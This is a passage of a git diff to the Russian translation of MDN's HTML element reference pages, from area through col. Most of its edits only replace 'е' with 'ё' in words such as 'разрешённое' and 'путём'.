атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута <strong>href</strong>.</dd> + <dd>С помощью этого атрибута задаётся альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута <strong>href</strong>.</dd> </dl> <dl> <dt>{{htmlattrdef("coords")}}</dt> - <dd>Задает значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута <strong>shape</strong>. Для <code>rect</code> или прямоугольника задаются две пары значений x,y <strong>coords</strong>: лево, верх, право и низ. Для <code>circle</code>, значения <code>x,y,r</code> где <code>x,y</code> координаты центра круга, а <code>r</code> радиус. Для <code>poly</code> или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: <code>x1,y1,x2,y2,x3,y3,</code> и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.</dd> + <dd>Задаёт значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута <strong>shape</strong>. Для <code>rect</code> или прямоугольника задаются две пары значений x,y <strong>coords</strong>: лево, верх, право и низ. Для <code>circle</code>, значения <code>x,y,r</code> где <code>x,y</code> координаты центра круга, а <code>r</code> радиус. Для <code>poly</code> или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: <code>x1,y1,x2,y2,x3,y3,</code> и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.</dd> <dt>{{htmlattrdef("download")}} {{HTMLVersionInline("5")}}</dt> <dd>Этот атрибут, если он добавлен, указывает, что ссылка используется для скачивания файла. Смотри {{HTMLElement("a")}} для полного описания атрибута {{htmlattrxref("download", "a")}}.</dd> </dl> diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html index 88bb5e5a48..b77f6dec57 100644 --- a/files/ru/web/html/element/article/index.html +++ b/files/ru/web/html/element/article/index.html @@ -29,7 +29,7 @@ translation_of: Web/HTML/Element/article <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -37,11 +37,11 @@ translation_of: Web/HTML/Element/article <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><article></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td> </tr> <tr> @@ -58,7 +58,7 @@ translation_of: Web/HTML/Element/article <h2 id="Примечание">Примечание</h2> <ul> - <li>Каждый элемент <code><article></code> должен быть идентифицирован, обычно путем добавления заголовка (элементы <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code><h1></code>-<code><h6></code></a>) в качестве дочернего элемента.</li> + <li>Каждый элемент <code><article></code> должен быть идентифицирован, обычно путём добавления заголовка (элементы <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code><h1></code>-<code><h6></code></a>) в качестве дочернего элемента.</li> <li>Когда элемент <code><article></code> является вложенным, внутренний элемент представляет собой контент связанный с внешним элементом. Например, комментарии к публикации в блоге могут быть элементами <code><article></code>, вложенными в другой <code><article></code>, являющийся публикацией в блоге.</li> <li>Информация об авторе в элементе <code><article></code> может быть представлена через элемент {{HTMLElement("address")}}, но это не применимо к вложенным элементам <code><article></code>.</li> <li>Дата и время публикации в элементе <code><article></code> могут быть описаны с помощью атрибута {{htmlattrxref("datetime", "time")}} элемента {{HTMLElement("time")}}. <em>Обратите внимание, что атрибут {{htmlattrxref("pubdate", "time")}} элемента {{HTMLElement("time")}} больше не является частью стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.</em></li> diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html index 20c210ff79..02cc80bdeb 100644 --- a/files/ru/web/html/element/aside/index.html +++ b/files/ru/web/html/element/aside/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/aside --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><aside></code></strong> представляет собой часть документа, чье содержимое только косвенно связанно с основным содержимым документа.</span> Чаще всего представлен в виде боковой панели, сносок или меток.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><aside></code></strong> представляет собой часть документа, чьё содержимое только косвенно связанно с основным содержимым документа.</span> Чаще всего представлен в виде боковой панели, сносок или меток.</p> <div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/aside <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/aside <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><aside></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html index aae3df398d..b9ab8f0521 100644 --- a/files/ru/web/html/element/audio/index.html +++ b/files/ru/web/html/element/audio/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTML/Element/audio -<p>Приведенный выше пример показывает простое использование элемента <code><audio></code>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут <code>src</code>. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.</p> +<p>Приведённый выше пример показывает простое использование элемента <code><audio></code>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут <code>src</code>. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.</p> <p>Контент между открывающим и закрывающим тегами элемента <code><audio></code> (в примере выше) отображается в браузерах, которые не поддерживают этот элемент.</p> @@ -57,8 +57,8 @@ translation_of: Web/HTML/Element/audio <dl> <dt>{{htmlattrdef("autoplay")}}</dt> - <dd>Атрибут логического типа. Если он указан, аудио начнет автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. - <div class="note"><strong>Заметка</strong>: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать ее Opt-in (вид подписки), то есть когда пользователь специально (сам) включил ее. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.</div> + <dd>Атрибут логического типа. Если он указан, аудио начнёт автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. + <div class="note"><strong>Заметка</strong>: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать её Opt-in (вид подписки), то есть когда пользователь специально (сам) включил её. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.</div> </dd> <dt>{{htmlattrdef("controls")}}</dt> <dd>Если этот атрибут присутствует, браузер предложит элементы управления, позволяющие пользователю управлять воспроизведением аудио, в том числе громкостью, перемоткой и паузой.</dd> @@ -76,10 +76,10 @@ translation_of: Web/HTML/Element/audio <dt>{{htmlattrdef("loop")}}</dt> <dd>Атрибут логического типа. Если он указан, проигрыватель будет автоматически возвращаться в начало при достижении конца аудио.</dd> <dt>{{htmlattrdef("muted")}}</dt> - <dd>Атрибут логического типа, который указывает, будет ли звук изначально отключен. Значением по умолчанию является <code>false</code>.</dd> + <dd>Атрибут логического типа, который указывает, будет ли звук изначально отключён. Значением по умолчанию является <code>false</code>.</dd> <dt>{{htmlattrdef("preload")}}</dt> <dd> - <p>Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведет к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:</p> + <p>Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведёт к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:</p> <ul> <li><code>none</code>: указывает, что аудио не должно предварительно загружаться;</li> @@ -144,7 +144,7 @@ translation_of: Web/HTML/Element/audio <h3 id="Элемент_<audio>_с_множеством_элементов_<source>">Элемент <audio> с множеством элементов <source></h3> -<p>Этот пример включает множество элементов <code><source></code>. Браузер попытается загрузить источник из первого элемента <code><source></code> (Opus), если он не в состоянии воспроизвести его, тогда он перейдет ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:</p> +<p>Этот пример включает множество элементов <code><source></code>. Браузер попытается загрузить источник из первого элемента <code><source></code> (Opus), если он не в состоянии воспроизвести его, тогда он перейдёт ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:</p> <pre class="brush: html"><audio controls=""> <source src="foo.opus" type="audio/ogg; codecs=opus"/> @@ -191,7 +191,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>. Если элемент имеет атрибут <code>controls</code>, он так же принадлежит к категориям <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного</a> и <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явного</a> контента.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Если элемент имеет атрибут <code>src</code>: ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контентет</a>, который не содержит элементов <code><audio></code> или {{HTMLElement("video")}}.<br> Иначе: ноль или более элементов {{HTMLElement("source")}}, за которыми следует ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контент</a>, который не содержит элементов <code><audio></code> или {{HTMLElement("video")}}.</td> </tr> @@ -200,7 +200,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td> </tr> <tr> diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html index 89cdf625ec..fedf3d4031 100644 --- a/files/ru/web/html/element/b/index.html +++ b/files/ru/web/html/element/b/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/b <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td> </tr> <tr> diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html index daf089fa86..ef7c7aa44b 100644 --- a/files/ru/web/html/element/bdi/index.html +++ b/files/ru/web/html/element/bdi/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/bdi <p>Этот элемент полезен при встраивании текста с неизвестным направлением (например, из базы данных) внутрь текста с заданным направлением.</p> -<p class="note">Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}<code>: isolate</code> к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передается только с помощью элемента <code><bdi></code>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображен корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.</p> +<p class="note">Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}<code>: isolate</code> к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передаётся только с помощью элемента <code><bdi></code>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображён корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html index d8a3b73dc2..d6dfdd2d18 100644 --- a/files/ru/web/html/element/blockquote/index.html +++ b/files/ru/web/html/element/blockquote/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/blockquote --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <code><blockquote></code> </strong>(от англ. <em>Block Quotation</em>) указывает на то, что заключенный в нем текст является развернутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">Примечание</a>, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте <strong>cite</strong>, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.</p> +<p><strong>HTML-элемент <code><blockquote></code> </strong>(от англ. <em>Block Quotation</em>) указывает на то, что заключённый в нем текст является развёрнутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">Примечание</a>, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте <strong>cite</strong>, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.</p> <div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html index 8c2cacdfe0..f18863b449 100644 --- a/files/ru/web/html/element/body/index.html +++ b/files/ru/web/html/element/body/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/body <td><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">Секционный корень</a></td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>.</td> </tr> <tr> @@ -32,11 +32,11 @@ translation_of: Web/HTML/Element/body <td>Открывающий тег может быть пропущен, если первое, что находится внутри него, не является пробелом, комментарием, элементом {{HTMLElement("script")}} или элементом {{HTMLElement("style")}}. Закрывающий тег может быть пропущен если элемент <code><body></code> содержит контент или имеет открывающий тег, и за ним сразу не следует комментарий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Этот элемент должен быть вторым в элементе {{HTMLElement("html")}}</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют</td> </tr> <tr> @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/body <dt>{{htmlattrdef("onpopstate")}}</dt> <dd>Функция для вызова, когда пользователь осуществил управление историей сеанса.</dd> <dt>{{htmlattrdef("onredo")}}</dt> - <dd>Функция для вызова, когда произошло продвижение пользователя вперед по истории транзакций (например, обновление страницы).</dd> + <dd>Функция для вызова, когда произошло продвижение пользователя вперёд по истории транзакций (например, обновление страницы).</dd> <dt>{{htmlattrdef("onresize")}}</dt> <dd>Функция для вызова, когда размер документа был изменен.</dd> <dt>{{htmlattrdef("onstorage")}}</dt> @@ -111,7 +111,7 @@ translation_of: Web/HTML/Element/body <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt> <dd>Отступ от верхнего края элемента <code><body></code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-top")}}.</em></dd> <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt> - <dd>Цвет текста посещенной гипертекстовой ссылки. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.</em></dd> + <dd>Цвет текста посещённой гипертекстовой ссылки. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.</em></dd> </dl> <h2 id="Пример">Пример</h2> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/body <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '<body>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Изменен список несогласованных свойств.</td> + <td>Изменён список несогласованных свойств.</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '<body>')}}</td> diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html index f088017482..5bf34e89d2 100644 --- a/files/ru/web/html/element/br/index.html +++ b/files/ru/web/html/element/br/index.html @@ -64,7 +64,7 @@ USA<br></pre> <ul class="htmlelt"> <li><dfn><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></dfn> <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li> - <li><dfn>Разрешенное содержимое</dfn> Отсутствует, это {{Glossary("пустой элемент")}}.</li> + <li><dfn>Разрешённое содержимое</dfn> Отсутствует, это {{Glossary("пустой элемент")}}.</li> <li><dfn>Пропуск тегов</dfn>Должен иметь открывающий тег, но не закрывающий тег. В XHTML документах элемент пишется как <code><br /></code>.</li> <li><dfn>Допустимые родительские элементы</dfn> Любой элемент, который поддерживает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li> <li><dfn>Интерфейс DOM</dfn> {{domxref("HTMLBRElement")}}</li> diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html index 78cd1a07f7..61b3f30109 100644 --- a/files/ru/web/html/element/button/index.html +++ b/files/ru/web/html/element/button/index.html @@ -12,7 +12,7 @@ original_slug: Web/HTML/Element/кнопка --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <em><code><button></code></em></strong> создает кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.</p> +<p><strong>HTML-элемент <em><code><button></code></em></strong> создаёт кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.</p> @@ -60,18 +60,18 @@ original_slug: Web/HTML/Element/кнопка <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt> <dd>Данный булевый атрибут позволяет указать, будет ли кнопка автоматически сфокусирована после загрузки страницы, до тех пор, пока пользователь не изменит фокус в ручную, например выбрав другой элемент. Только один связанный с формой элемент в документе может иметь данный атрибут.</dd> <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt> - <dd>Использование данного атрибута на элементе <code><button></code> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняет назначенное динамически отключенное состояние </a>для элемента <code><button></code> при последующих загрузках страницы. Установка для данного атрибута значения <code>off</code> отключает подобное поведение. Смотрите {{bug(654072)}}.</dd> + <dd>Использование данного атрибута на элементе <code><button></code> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняет назначенное динамически отключённое состояние </a>для элемента <code><button></code> при последующих загрузках страницы. Установка для данного атрибута значения <code>off</code> отключает подобное поведение. Смотрите {{bug(654072)}}.</dd> <dt>{{htmlattrdef("disabled")}}</dt> <dd> <p>Булевый атрибут, указывающий, что пользователь не может взаимодействовать с кнопкой. Если атрибут не установлен, то кнопка наследует его от элемента-контейнера, в котором она расположена, например от {{HTMLElement("fieldset")}}; если отсутствует элемент-контейнер, с установленным атрибутом <strong>disabled</strong>, то кнопка доступна для взаимодействия.</p> - <p>Firefox по умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняет назначенное динамически отключенное состояние </a>для элемента <code><button></code>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.</p> + <p>Firefox по умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняет назначенное динамически отключённое состояние </a>для элемента <code><button></code>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.</p> </dd> <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt> <dd>Атрибут <strong>form</strong> позволяет указать элемент {{HTMLElement("form")}}, с которым связана кнопка. Данный атрибут должен хранить значение <strong>id</strong> элемента {{HTMLElement("form")}}. Если данный атрибут не установлен, то элемент <code><button></code> будет связан с родительским элементом {{HTMLElement("form")}}, если последний существует.</dd> <dd>Атрибут работает независимо от расположения элементов в документе, поэтому он позволяет связать элемент <code><button></code> с формой, даже в случае, если <code><button></code> не является наследником элемента {{HTMLElement("form")}}.</dd> <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt> - <dd>Ссылка на обработчик формы. Если атрибут определен — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.</dd> + <dd>Ссылка на обработчик формы. Если атрибут определён — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.</dd> <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет тип контента, отправляемого на сервер. Возможные значения данного атрибута: <ul> @@ -80,20 +80,20 @@ original_slug: Web/HTML/Element/кнопка <li><code>text/plain</code></li> </ul> - <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.</p> + <p>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.</p> </dd> <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет метод HTTP-запроса для отправки данных на сервер. Возможные варианты: <ul> <li><code>post</code>: данные формы включаются в тело сообщения и отправляются на сервер.</li> - <li><code>get</code>: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделенных знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.</li> + <li><code>get</code>: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделённых знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.</li> </ul> - <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.</p> + <p>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.</p> </dd> <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt> <dd>Булевый атрибут. Указывает, что данные формы не будут валидироваться при отправке.</dd> - <dd>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.</dd> + <dd>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.</dd> <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, этот атрибут <span style="">является именем или ключевым словом</span>, <p dir="ltr" id="tw-target-text">указывающим, где отображать ответ, полученный после отправки формы<span style="">. This is a name of, or keyword for, a </span><em>browsing context</em><span style=""> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:</span></p> diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html index a0c094c7c8..dfef5ffe40 100644 --- a/files/ru/web/html/element/caption/index.html +++ b/files/ru/web/html/element/caption/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/caption <td>Нет</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>.</td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/caption <td>Конечный тег может быть опущен, если элемент не следует сразу за ASCII пробелом или комментарием.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Элемент {{HTMLElement("table")}} как его первый потомок</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-роли</th> + <th scope="row">Разрешённые ARIA-роли</th> <td>Нет</td> </tr> <tr> diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html index acc999a2a8..8a7bcb1875 100644 --- a/files/ru/web/html/element/cite/index.html +++ b/files/ru/web/html/element/cite/index.html @@ -10,13 +10,13 @@ translation_of: Web/HTML/Element/cite --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <cite></strong> (<em>от англ. Citation</em>) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращенном виде в соответствии с правилами, используемых для добавления метаданных цитирования.</p> +<p><strong>HTML-элемент <cite></strong> (<em>от англ. Citation</em>) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращённом виде в соответствии с правилами, используемых для добавления метаданных цитирования.</p> <div class="note"> <p><strong>Об использовании:</strong></p> <ul> - <li>Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчет, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.</li> + <li>Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчёт, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.</li> <li>Спецификация W3C утверждает, что ссылка на творческую работу может содержать имя автора, в то время, как WHATWG заявляет, что она не может включать имя человека ни в коем случае.</li> <li>Используйте атрибут {{htmlattrxref("cite", "blockquote")}} элемента {{HTMLElement("blockquote")}} или элемента {{HTMLElement("q")}} для ссылки на интернет-ресурс источника.</li> </ul> diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html index 47b0998714..9e0fa31592 100644 --- a/files/ru/web/html/element/col/index.html +++ b/files/ru/web/html/element/col/index.html @@ -80,7 +80,7 @@ translation_of: Web/HTML/Element/col <dl> <dt>{{htmlattrdef("bgcolor")}} 